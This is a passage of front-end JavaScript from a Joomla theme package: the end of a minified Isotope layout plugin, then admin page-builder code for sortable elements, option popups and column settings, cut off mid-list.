c=this;this.addItems(a,function(a){c._addHideAppended(a),c.layout(a),c._revealAppended(a,b)})},_addHideAppended:function(a){this.$filteredAtoms=this.$filteredAtoms.add(a),a.addClass("no-transition"),this._isInserting=!0,this.styleQueue.push({$el:a,style:this.options.hiddenStyle})},_revealAppended:function(a,b){var c=this;setTimeout(function(){a.removeClass("no-transition"),c.styleQueue.push({$el:a,style:c.options.visibleStyle}),c._isInserting=!1,c._processStyleQueue(a,b)},10)},reloadItems:function(){this.$allAtoms=this._getAtoms(this.element.children())},remove:function(a,b){this.$allAtoms=this.$allAtoms.not(a),this.$filteredAtoms=this.$filteredAtoms.not(a);var c=this,d=function(){a.remove(),b&&b.call(c.element)};a.filter(":not(."+this.options.hiddenClass+")").length?(this.styleQueue.push({$el:a,style:this.options.hiddenStyle}),this._sort(),this.reLayout(d)):d()},shuffle:function(a){this.updateSortData(this.$allAtoms),this.options.sortBy="random",this._sort(),this.reLayout(a)},destroy:function(){var a=this.usingTransforms,b=this.options;this.$allAtoms.removeClass(b.hiddenClass+" "+b.itemClass).each(function(){var b=this.style;b.position="",b.top="",b.left="",b.opacity="",a&&(b[i]="")});var c=this.element[0].style;for(var d in this.originalStyle)c[d]=this.originalStyle[d];this.element.unbind(".isotope").undelegate("."+b.hiddenClass,"click").removeClass(b.containerClass).removeData("isotope"),w.unbind(".isotope")},_getSegments:function(a){var b=this.options.layoutMode,c=a?"rowHeight":"columnWidth",d=a?"height":"width",e=a?"rows":"cols",g=this.element[d](),h,i=this.options[b]&&this.options[b][c]||this.$filteredAtoms["outer"+f(d)](!0)||g;h=Math.floor(g/i),h=Math.max(h,1),this[b][e]=h,this[b][c]=i},_checkIfSegmentsChanged:function(a){var b=this.options.layoutMode,c=a?"rows":"cols",d=this[b][c];return this._getSegments(a),this[b][c]!==d},_masonryReset:function(){this.masonry={},this._getSegments();var a=this.masonry.cols;this.masonry.colYs=[];while(a--)this.masonry.colYs.push(0)},_masonryLayout:function(a){var c=this,d=c.masonry;a.each(function(){var a=b(this),e=Math.ceil(a.outerWidth(!0)/d.columnWidth);e=Math.min(e,d.cols);if(e===1)c._masonryPlaceBrick(a,d.colYs);else{var f=d.cols+1-e,g=[],h,i;for(i=0;i<f;i++)h=d.colYs.slice(i,i+e),g[i]=Math.max.apply(Math,h);c._masonryPlaceBrick(a,g)}})},_masonryPlaceBrick:function(a,b){var c=Math.min.apply(Math,b),d=0;for(var e=0,f=b.length;e<f;e++)if(b[e]===c){d=e;break}var g=this.masonry.columnWidth*d,h=c;this._pushPosition(a,g,h);var i=c+a.outerHeight(!0),j=this.masonry.cols+1-f;for(e=0;e<j;e++)this.masonry.colYs[d+e]=i},_masonryGetContainerSize:function(){var a=Math.max.apply(Math,this.masonry.colYs);return{height:a}},_masonryResizeChanged:function(){return this._checkIfSegmentsChanged()},_fitRowsReset:function(){this.fitRows={x:0,y:0,height:0}},_fitRowsLayout:function(a){var c=this,d=this.element.width(),e=this.fitRows;a.each(function(){var a=b(this),f=a.outerWidth(!0),g=a.outerHeight(!0);e.x!==0&&f+e.x>d&&(e.x=0,e.y=e.height),c._pushPosition(a,e.x,e.y),e.height=Math.max(e.y+g,e.height),e.x+=f})},_fitRowsGetContainerSize:function(){return{height:this.fitRows.height}},_fitRowsResizeChanged:function(){return!0},_cellsByRowReset:function(){this.cellsByRow={index:0},this._getSegments(),this._getSegments(!0)},_cellsByRowLayout:function(a){var c=this,d=this.cellsByRow;a.each(function(){var a=b(this),e=d.index%d.cols,f=Math.floor(d.index/d.cols),g=(e+.5)*d.columnWidth-a.outerWidth(!0)/2,h=(f+.5)*d.rowHeight-a.outerHeight(!0)/2;c._pushPosition(a,g,h),d.index++})},_cellsByRowGetContainerSize:function(){return{height:Math.ceil(this.$filteredAtoms.length/this.cellsByRow.cols)*this.cellsByRow.rowHeight+this.offset.top}},_cellsByRowResizeChanged:function(){return this._checkIfSegmentsChanged()},_straightDownReset:function(){this.straightDown={y:0}},_straightDownLayout:function(a){var c=this;a.each(function(a){var d=b(this);c._pushPosition(d,0,c.straightDown.y),c.straightDown.y+=d.outerHeight(!0)})},_straightDownGetContainerSize:function(){return{height:this.straightDown.y}},_straightDownResizeChanged:function(){return!0},_masonryHorizontalReset:function(){this.masonryHorizontal={},this._getSegments(!0);var a=this.masonryHorizontal.rows;this.masonryHorizontal.rowXs=[];while(a--)this.masonryHorizontal.rowXs.push(0)},_masonryHorizontalLayout:function(a){var c=this,d=c.masonryHorizontal;a.each(function(){var a=b(this),e=Math.ceil(a.outerHeight(!0)/d.rowHeight);e=Math.min(e,d.rows);if(e===1)c._masonryHorizontalPlaceBrick(a,d.rowXs);else{var f=d.rows+1-e,g=[],h,i;for(i=0;i<f;i++)h=d.rowXs.slice(i,i+e),g[i]=Math.max.apply(Math,h);c._masonryHorizontalPlaceBrick(a,g)}})},_masonryHorizontalPlaceBrick:function(a,b){var c=Math.min.apply(Math,b),d=0;for(var e=0,f=b.length;e<f;e++)if(b[e]===c){d=e;break}var g=c,h=this.masonryHorizontal.rowHeight*d;this._pushPosition(a,g,h);var i=c+a.outerWidth(!0),j=this.masonryHorizontal.rows+1-f;for(e=0;e<j;e++)this.masonryHorizontal.rowXs[d+e]=i},_masonryHorizontalGetContainerSize:function(){var a=Math.max.apply(Math,this.masonryHorizontal.rowXs);return{width:a}},_masonryHorizontalResizeChanged:function(){return this._checkIfSegmentsChanged(!0)},_fitColumnsReset:function(){this.fitColumns={x:0,y:0,width:0}},_fitColumnsLayout:function(a){var c=this,d=this.element.height(),e=this.fitColumns;a.each(function(){var a=b(this),f=a.outerWidth(!0),g=a.outerHeight(!0);e.y!==0&&g+e.y>d&&(e.x=e.width,e.y=0),c._pushPosition(a,e.x,e.y),e.width=Math.max(e.x+f,e.width),e.y+=g})},_fitColumnsGetContainerSize:function(){return{width:this.fitColumns.width}},_fitColumnsResizeChanged:function(){return!0},_cellsByColumnReset:function(){this.cellsByColumn={index:0},this._getSegments(),this._getSegments(!0)},_cellsByColumnLayout:function(a){var c=this,d=this.cellsByColumn;a.each(function(){var a=b(this),e=Math.floor(d.index/d.rows),f=d.index%d.rows,g=(e+.5)*d.columnWidth-a.outerWidth(!0)/2,h=(f+.5)*d.rowHeight-a.outerHeight(!0)/2;c._pushPosition(a,g,h),d.index++})},_cellsByColumnGetContainerSize:function(){return{width:Math.ceil(this.$filteredAtoms.length/this.cellsByColumn.rows)*this.cellsByColumn.columnWidth}},_cellsByColumnResizeChanged:function(){return this._checkIfSegmentsChanged(!0)},_straightAcrossReset:function(){this.straightAcross={x:0}},_straightAcrossLayout:function(a){var c=this;a.each(function(a){var d=b(this);c._pushPosition(d,c.straightAcross.x,0),c.straightAcross.x+=d.outerWidth(!0)})},_straightAcrossGetContainerSize:function(){return{width:this.straightAcross.x}},_straightAcrossResizeChanged:function(){return!0}},b.fn.imagesLoaded=function(a){function h(){a.call(c,d)}function i(a){var c=a.target;c.src!==f&&b.inArray(c,g)===-1&&(g.push(c),--e<=0&&(setTimeout(h),d.unbind(".imagesLoaded",i)))}var c=this,d=c.find("img").add(c.filter("img")),e=d.length,f="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==",g=[];return e||h(),d.bind("load.imagesLoaded error.imagesLoaded",i).each(function(){var a=this.src;this.src=f,this.src=a}),c};var x=function(b){a.console&&a.console.error(b)};b.fn.isotope=function(a,c){if(typeof a=="string"){var d=Array.prototype.slice.call(arguments,1);this.each(function(){var c=b.data(this,"isotope");if(!c){x("cannot call methods on isotope prior to initialization; attempted to call method '"+a+"'");return}if(!b.isFunction(c[a])||a.charAt(0)==="_"){x("no such method '"+a+"' for isotope instance");return}c[a].apply(c,d)})}else this.each(function(){var d=b.data(this,"isotope");d?(d.option(a),d._init(c)):b.data(this,"isotope",new b.Isotope(a,this,c))});return this}})(window,jQuery);PK!:%����&bluetheme/assets/js/plugin-design_1.jsnu&1i�
/*! Plugin Design - v1.0
* http://cmsbluetheme.com
* author 	:cmsbluetheme
* Copyright 2013  */
//encodeURIComponent
//decodeURIComponent
var arrayType;
var data_ele;
jQuery(document).ready(function(){
	addEventPopup();
	jQuery('#pageconfig-submit').click(function(){
		jQuery.stbox.close();
	});
	arrayType=jQuery.parseJSON(decodeURIComponent(jQuery('#st-arrName').attr("data")));
	if(jQuery('#st-page>li').length>0){
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column")){
				jQuery(this).removeClass("st-column").addClass("st-column-container");
				AddColumn(this);
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				ColumnDesign(this,data.content);
			}else if(jQuery(this).hasClass("st-tabs")){
				jQuery(this).removeClass("st-tabs").addClass("st-tabs-container");
				AddTab(this);
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				TabsDesign(this,data.content);
			}
		});
		AddEvent();
	}
	jQuery('#st-page li').removeClass("btn");
	addsort();
	jQuery( "#draggable li" ).draggable({
		connectToSortable: ".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
		helper: "clone",
		revert: "invalid"
	});
	// Remove action button toolbar default Joomla
	jQuery("#toolbar button").removeAttr("onclick");
	// Add Event Save
	buttonsave();
	// Append Input Name to Toolbar
	jQuery(".namepage .st-namepage").appendTo("#toolbar");
	jQuery('#toolbar-cancel').click(function(){
		window.location="index.php?option=com_blue_pagebuilder";
	});
	setTitleModule();
	duplicateItem();
});

function duplicateItem(){
	jQuery('#st-page .st-duplicate').unbind('click');
	jQuery('#st-page .st-duplicate').click(function(){
		var item = jQuery(this).parent().parent();
		//console.log(item.attr('tabs_desi'));
		if(item.attr('data-type')=='tabs_desi'){
			var selectab = item.find('.nav-tabs');
			var oldtabid = selectab.attr("id").split('-')[1];
			var tabid =makeid();
			var myid = selectab.attr("id").split('-')[0]+'-'+tabid;
			item.after('<li data-type="'+item.attr('data-type')+'" data="'+item.attr('data')+'" class="'+item.attr('class')+'" style="display:block;">'+item.html()+'</li>');
			var itemnew = item.next();
			var lengtab = itemnew.find('.tab-content .tab-pane').length;
			itemnew.find('.nav-tabs').attr('id',myid).find('>li').each(function(index, el) {
				if(index<lengtab){
					jQuery(this).find('a').attr('href','#'+myid+'-'+index);
					jQuery(itemnew.find('.tab-content .tab-pane')[index]).attr('id',myid+'-'+index);
					var idinput = jQuery(this).find('a .input-edittab').attr('id');
					var idinput = idinput.replace(oldtabid,tabid);
					jQuery(this).find('a .input-edittab').attr('id',idinput);
				}
			});
			addEventTab(tabid);
		}else{
			item.after('<li data-type="'+item.attr('data-type')+'" data="'+item.attr('data')+'" class="'+item.attr('class')+'" style="display:block;">'+item.html()+'</li>');
		}
		AddEvent();
		changeColumn();
	});
	
}
// AddEvent 
function AddEvent(){
	// add event data
	duplicateItem();
	jQuery('#st-page li .st-edit').bind('click',function(){
		jQuery('#st-page li').removeClass("st-focus");
		select = jQuery(this).closest('li');
		select.addClass("st-focus");
		data_ele = jQuery.parseJSON(decodeURIComponent(select.attr("data")));
		//console.log(data_ele);
		switch(data_ele.type){
			case "contact_desi":
				getContactOption(data_ele);
				break;
            case "bgvideo_desi":
				getBgVideoOption(data_ele);
				break;
			case "vimeo_desi":
				getVimeoOption(data_ele);
				break;
			case "youtube_desi":
				getYoutubeOption(data_ele);
				break;
			case "alert_desi":
				getMessageBoxOption(data_ele);
				break;
			case "recent_article_desi":
				getArticleRecentOption(data_ele);
				break;
			case "article_box_desi":
				getArticleBoxOption(data_ele);
				break;
			case "moduleid_desi":
				getModuleOption(data_ele);
				break;
			case "divider_desi":
				getDividerOption(data_ele);
				break;
			case "tabs_desi":
				getTabsOption(data_ele);
				break;
			case "flickr_desi":
			    getFlickrOption(data_ele);	
			    break;
			case "fb_likebox_desi":
			    getFb_likbeboxOption(data_ele);
			    break;
			case "slider_desi":
			    getSliderOption(data_ele);
			    break; 
            case "gallery_desi":
			    getGalleryOption(data_ele);
			    break; 
			case "gmap_desi":
				getGmapOption(data_ele);
				break;
			case "html_desi":
				getHtmlOption(data_ele);
				break;
			case "columns_desi":
				getColumDesignOption(data_ele);
				break;
			case "portfolio_desi":
				getPortfolioOption(data_ele);
				break;
            case "services_desi":
                getServicesOption(data_ele);
                break;
			case "about_desi":
				getAboutOption(data_ele);
				break;
            case "parallax_desi":
				getParallaxOption(data_ele);
				break;
            
            case "skill_desi":
				getSkillOption(data_ele);
				break;
            case "pricing_desi":
				getPricingOption(data_ele);
				break;
            case "intro_desi":
				getIntroOption(data_ele);
				break;
            case "testimonial_desi":
				getTestimonialOption(data_ele);
				break;
		}
	});
	//add event close item
	jQuery('#st-page .st-close').bind('click',function(e){
		jQuery(this).closest('li').remove();
	});

	//add event close item
	jQuery('#st-page .st-hide').toggle(function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').addClass('none');
		sele.find('.column-button-group').addClass("none");
		sele.find('.st-tabitems').addClass("none");
	},function(){
		var sele =jQuery(this).closest('li');
		sele.find('.st-columns').removeClass('none');
		sele.find('.column-button-group').removeClass("none");
		sele.find('.st-tabitems').removeClass("none");
	});
}


function setTitleModule(){
	jQuery('#st-page li').each(function(){
		if(jQuery(this).hasClass('st-module')){
			var title = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr('data'))).attr.title;
			jQuery(this).find('.st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
		}else if(jQuery(this).hasClass('st-html')){
            var title = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr('data'))).attr.title;
            if(title!=null && title!="")
            jQuery(this).find('.st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
        }else if(jQuery(this).hasClass('st-services')){
            var title = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr('data'))).attr.title;
            if(title!=null && title!="")
                jQuery(this).find('.st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
        }
	});
}

function makeid()
{
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for( var i=0; i < 5; i++ )
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
// Add Event sorttable
function addsort(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
      		//duplicateItem();
        },
        start: function( event, ui ) {
        	if(jQuery(ui.item).hasClass("st-column-container")){
        		jQuery(ui.item).find('.st-columns').hide();
        		jQuery(ui.item).find('.btn-group').hide();
        		jQuery(ui.item).css('height','40');
        	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
        		 jQuery(ui.item).find('.st-tabitems').hide();
        		 jQuery(ui.item).css('height','40');
        	}
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).removeClass("st-column").addClass("st-column-container");
        		//jQuery(ui.item).find('.st-edit').remove();
	    		AddColumn(ui.item);
	    	}
	    	else if(ui.item.hasClass("st-tabs")){
	    		jQuery(ui.item).removeClass("st-tabs").addClass("st-tabs-container");
	    		AddTab(ui.item);
	    	}else if(ui.item.hasClass("st-column-container")){
	    		jQuery(ui.item).find('.st-columns').show();
        		jQuery(ui.item).find('.btn-group').show();
        		jQuery(ui.item).css('height','auto');
	    	}else if(jQuery(ui.item).hasClass("st-tabs-container")){
	    		jQuery(ui.item).find('.st-tabitems').show();
        		jQuery(ui.item).css('height','auto');
	    	}
        }
	});
}


function addsortSub(){
	jQuery( ".sortable" ).sortable({
		connectToSortable: "#draggable",
		connectWith:".sortable",
		appendTo: "body",
		placeholder: 'placeholder',
	    revert: true,
	    receive: function(event, ui) {
      		AddEvent(); // add Event 
        },
        stop: function( event, ui ) {
        	if(ui.item.hasClass("st-column")){
        		jQuery(ui.item).remove();
        		alert('no support');
	    	}
	    	ui.item.removeClass("btn");
        }
	});
}


function addEventPopup(){
	jQuery('.stmodal').stbox({
		padding     :0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
				closeClick :false,
				speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad  :function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){//
//			     case "bgvideo_desi":
//					this.width=400;
//					this.height=400;
//					break;
				case "portfolio_desi":
					this.width=600;
					this.height=600;
					break;
				case "page-config":
					this.width=400;
					this.height=350;
					break;
				case "contact_desi":
					this.width=600;
					this.height=400;
					break;
				case "columns_desi":
					this.width=350;
					this.height=800;
					break;
				case "html_desi":
					this.height=588;
					break;
				case "youtube_desi":
					this.width=500;
					this.height=450;
					break;
				case "vimeo_desi":
					this.width=400;
					this.height=630;
					break;
				case "moduleid_desi":
					this.width=400;
					this.height=450;
					break;
				case "alert_desi":
					this.width=400;
					this.height=400;
					jQuery(this.content).find('.st-nav-option').css({height:"330"});
					break;
				case "article_box_desi":
					this.width=350;
					this.height=330;
					break;
                case "pricing_desi":
                    this.width=500;
                    this.height=500;
                    break;
                case "skill_desi":
                    this.width=500;
                    this.height=500;
                    break;
				case "tabs_desi":
					this.width=400;
					this.height=350;
					break;
				case "divider_desi":
					this.width=300;
					this.height=242;
					break;
				case "flickr_desi":
					this.width=750;
					this.height=450;
					break;
				case "fb_likebox_desi":
					this.width=500;
					this.height=400;
					//jQuery(this.content).find('.st-nav-option').css({height:"330"});
					break;
				case "slider_desi":
					this.width=800;
					this.height=700;
					break;
				case "gallery_desi":
					this.width=800;
					this.height=630;
					break;
                case "services_desi":
                    this.width=500;
                    this.height=450;
                    break;
                case "gmap_desi":
                    this.width=600;
                    this.height=500;
                    break;
			
			}
		},
		afterLoad:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "moduleid_desi":
					jQuery('#st-element-modules').appendTo(".st-navigation .st-listmodule");
					checkList('id','#jform_modules');
					break;
				case "article_box_desi":
					//load combobox article
					if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
						jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_k2contents');
					}else{
						jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_contents');
					}
					break;
				//case "recent_article_desi":
//					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
//					checkList('category_id','#jformk2category');
//					break;
				case "gallery_desi":
					var link = jQuery("#st-navigation .st-path").val();
					loadImages(link);
					break;
				case "slider_desi":
					var link = jQuery("#st-navigation .st-path").val();
					loadImages(link);
					break;
				case "gmap_desi":
					//jQuery('#st-element-map').appendTo("#st-navigation .st-loadgmap");
					var dt = jQuery.parseJSON(decodeURIComponent(jQuery(this.element).parent().parent().attr("data")));

				//	addGmap(dt.attr.latitude,dt.attr.longitude);
				//	jQuery('#st-navigation .st-lnggmap').val(dt.attr.longitude);
				//	jQuery('#st-navigation .st-latgmap').val(dt.attr.latitude);
					break;
				case "portfolio_desi":
					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
					checkList('id','#jformk2category');
					break;
				case "html_desi":
					//getEditor();
					break;
                case "services_desi":
                    jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
                    checkList('category','#jformk2category');
                    break;
                // case "about_desi":
//					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
//					checkList('category','#jformk2category');
//					break;  
//                  case "parallax_desi":
//					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
//					checkList('category_id','#jformk2category');
//					break;    
			}
			jQuery(this.content).find('.btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery(this.content).find('.st-nav-title .icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
		},
		beforeClose:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				//case "bgvideo_desi":
//					jQuery(this.content).find('#st-element-bgvideo').appendTo("#st-element");
//					break;
                case "moduleid_desi":
					jQuery(this.content).find('#st-element-modules').appendTo("#st-element");
					break;
				case "article_box_desi":
					jQuery(this.content).find('#st-element-k2contents').appendTo("#st-element");
					jQuery(this.content).find('#st-element-contents').appendTo("#st-element");
					break;
				case "recent_article_desi":
					jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
					jQuery(this.content).find('#st-element-category').appendTo("#st-element");
					break;
				case "gmap_desi":
					jQuery(this.content).find('#st-element-map').appendTo("#st-element");
					break;
				case "portfolio_desi":
					jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
					break;
                case "services_desi":
                    jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
                    break;
                //case "about_desi":
//                    jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
//                    break;
//                case "parallax_desi":
//                    jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
//                    break;
			}
			jQuery('#st-navigation').html("");
		}
	});
}

function checkList(id,sle){
	if(typeof(data_ele.attr[id])!='undefined'){
		jQuery('.st-navigation '+sle).val(data_ele.attr[id]);
		jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').attr('selected','selected');
		var sele = jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').text();
		jQuery('.st-navigation .chzn-container .chzn-single>span').text(sele);
		jQuery('.st-navigation .chzn-container .chzn-results li').removeClass("result-selected");
		jQuery('.st-navigation .chzn-container .chzn-results li').each(function(){
			if(jQuery(this).text()==sele){
				jQuery(this).addClass("result-selected ");
			}
		});
	}
}



// AddColumn
function AddColumn(item){
	data = jQuery.parseJSON(decodeURIComponent(jQuery(item).attr("data")));
	content ='<div class="row-fluid st-columns">';
	for(i=0;i<data.content.length;i++){
		content+='<div class="span'+data.content[i].attr.col+'" index="'+i+'">';
		content+='<span class="st-changerow" href="#st-navigation" index="'+i+'"><i class="icon-cog-2"></i></span>';
		content+='<ul class="sortable sortable-column"></ul>';
		content+='</div>';
	}
	content+='</div>';
	content+='<div class="btn-group column-button-group">';
		for(i=1;i<=6;i++)
			content+='<span class="btn '+((i==data.content.length)?'btn-primary':'')+'">'+i+'</span>';
	content+='</div>';
	jQuery(item).append(content);
	changeColumn();
	addsort();
	changeSpan();
}

function changeSpan(){
	jQuery('.st-changerow').stbox({
		padding     : 0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
			  	closeClick :false,
			  	speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad:function(){
			this.width=350;
			this.height=500;
			var sele = jQuery(this.element).closest(".st-column-container");
			var data = jQuery.parseJSON(decodeURIComponent(sele.attr("data")));
			var index = jQuery(this.element).attr("index");
			content ="<div class='st-nav-title'><i class='icon-columns'></i> Column<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
			content+="<div class='st-nav-option'>";
				content+="<label>Large Column:</label>";
				content+="<div class='row-fluid'><select class='st-lg-col span12'>";
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-lg-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Medium Column:</label>";
				content+="<div class='row-fluid'><select class='st-md-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-md-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Small Column:</label>";
				content+="<div class='row-fluid'><select class='st-sm-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-sm-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Phone Column:</label>";
				content+="<div class='row-fluid'><select class='st-xs-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-xs-'+i+'</option>';
				}
				content+="</select></div>";
                content+="<label>Box Wrapper:</label>";
				content+="<div class='row-fluid'><select class='st-box span12'>";
					content+='<option value="0">No</option>';
					content+='<option value="1">Yes</option>';
				
				content+="</select></div>";
                
				content+="<label>Class:</label>";
				content+="<div class='row-fluid'><input type='text' class='st-spanclass span12' value='"+((data.content[index].attr.class==null)?"":data.content[index].attr.class)+"'></div>";
				content+="<label>Padding:</label>";
				content+="<div class='row-fluid'><input type='text' class='st-spanpadding span12' value='"+((data.content[index].attr.padding==null)?"":data.content[index].attr.padding)+"'></div>";
				content+="<div class='st-button-group'>";
					content+="<button class='btn btn-primary btn-save'>Save</button>";
					content+="<button class='btn btn-cancel'>Cancel</button>";
				content+="</div>";
			content+="</div>";
			jQuery('.st-navigation').html(content);
			jQuery('.st-navigation .st-lg-col option[value="'+data.content[index].attr.col+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-md-col option[value="'+data.content[index].attr.col_md+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-sm-col option[value="'+data.content[index].attr.col_sm+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-xs-col option[value="'+data.content[index].attr.col_xs+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-box option[value="'+data.content[index].attr.col_box+'"]').attr("selected","selected");
			jQuery('.st-navigation .btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .btn-primary.btn-save').click(function(){
				data.content[index].attr.col = jQuery('.st-navigation .st-lg-col').val();
				data.content[index].attr.col_md = jQuery('.st-navigation .st-md-col').val();
				data.content[index].attr.col_sm = jQuery('.st-navigation .st-sm-col').val();
				data.content[index].attr.col_xs = jQuery('.st-navigation .st-xs-col').val();
				data.content[index].attr.col_box = jQuery('.st-navigation .st-box').val();
				data.content[index].attr.class=jQuery('.st-navigation .st-spanclass').val();
				data.content[index].attr.padding=jQuery('.st-navigation .st-spanpadding').val();
                data.content[index].attr.box = jQuery('.st-navigation select[name="st-box"] option:selected').val();
				sele.attr("data",encodeURIComponent(JSON.stringify(data)));
				sele.find('div[index="'+index+'"]').attr("class","").addClass("span"+jQuery('.st-navigation .st-lg-col').val());
				jQuery.stbox.close();
			});
		}
	});
}

function changeColumn(){
	jQuery('.column-button-group span.btn').unbind('click');
	jQuery('.column-button-group span.btn').bind('click',function(){
		if(!jQuery(this).hasClass("btn-primary")){
			var sl = jQuery(this).closest('div');
			sl.find('span.btn').removeClass("btn-primary");
			jQuery(this).addClass("btn-primary");
			var col = jQuery(this).text();
			var data = jQuery.parseJSON(decodeURIComponent(jQuery(jQuery(this).closest("li")).attr("data")));
			
			var loop = true;
			if(col==5) classspan=2;
			else classspan=(12/col);
			sl.prev().find('[class^="span"]').attr("class","span"+classspan);
			var len = data.content.length;
			if(col>data.content.length){
				// Add column
				for(i=0;i<(col-len);i++){
					var index = sl.prev().find('>[class^="span"]').length;
					sl.prev().append("<div class='span"+classspan+"' index='"+index+"'><span class='st-changerow' href='#st-navigation' index='"+index+"'><i class='icon-cog-2'></i></span><ul class='sortable sortable-column'></ul></div>");
					arr = {"type":"column_item_desi","content":"","attr":{"col":classspan,"col_md":"0","col_sm":"0","col_xs":"0"}};
					data.content.push(arr);
				}
			}else{
				//remove column
				for(i=0;i<(len-col);i++){
					sl.prev().find('[class^="span"]:last-child').remove();
					data.content.pop();
				}
			}
			for(i=0;i<data.content.length;i++){
				if(i==4 && data.content.length==5) data.content[i].attr.col=4;
				else data.content[i].attr.col=classspan;
			}
			if(col==5) sl.prev().find('>[index^="4"]').attr("class","span4");
			sl.parent().attr("data",encodeURIComponent(JSON.stringify(data)));
			addsort();
		}
	});
}


function getColumDesignOption(data){
	content ="<div class='st-nav-title'><i class='icon-columns'></i> Column<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-column'>";
        content+="<label>Title:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-title' value='"+((data.attr.title==null)?"":data.attr.title)+"' />";
		content+="</div>";
        content+="<label>Short description:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-sdesc' value='"+((data.attr.sdesc==null)?"":data.attr.sdesc)+"' />";
		content+="</div>";
		content+="<label>Section ID:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-id' value='"+((data.attr.id==null)?"":data.attr.id)+"' />";
		content+="</div>";
		content+="<label>Section Class:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-class' value='"+((data.attr.class==null)?"":data.attr.class)+"' />";
		content+="</div>";
        content+="<label>Container ID:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-cid' value='"+((data.attr.cid==null)?"":data.attr.cid)+"' />";
		content+="</div>";
		content+="<label>Container Class:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-cclass' value='"+((data.attr.cclass==null)?"":data.attr.cclass)+"' />";
		content+="</div>";
        content += getBt2Selectgroup('Heading tag', 'st-htag', '', '', data.attr.htag, [['H1', 'h1'],['H2', 'h2'],['H3', 'h3']], false);
		content += getBt2Selectgroup('Animate', 'st-animate', '', '', data.attr.animate, [['slideInLeft', 'slideInLeft'],
                                                                                        ['slideInRight', 'slideInRight'],
                                                                                        ['slideInDown', 'slideInDown'],
                                                                                        ['bounceInUp', 'bounceInUp'],
                                                                                        ['bounceInLeft', 'bounceInLeft'],
                                                                                        ['bounceInRight', 'bounceInRight'],
                                                                                        ['rotateInUpRight', 'rotateInUpRight'],
                                                                                        ['rotateInUpLeft', 'rotateInUpLeft'],
                                                                                        ['flipInX', 'flipInX'],
                                                                                        ['flipInY', 'flipInY'],
                                                                                        ['fadeInUpBig', 'fadeInUpBig'],
                                                                                        ['fadeInDownBig', 'fadeInDownBig'],
                                                                                        ['fadeIn', 'fadeIn'],
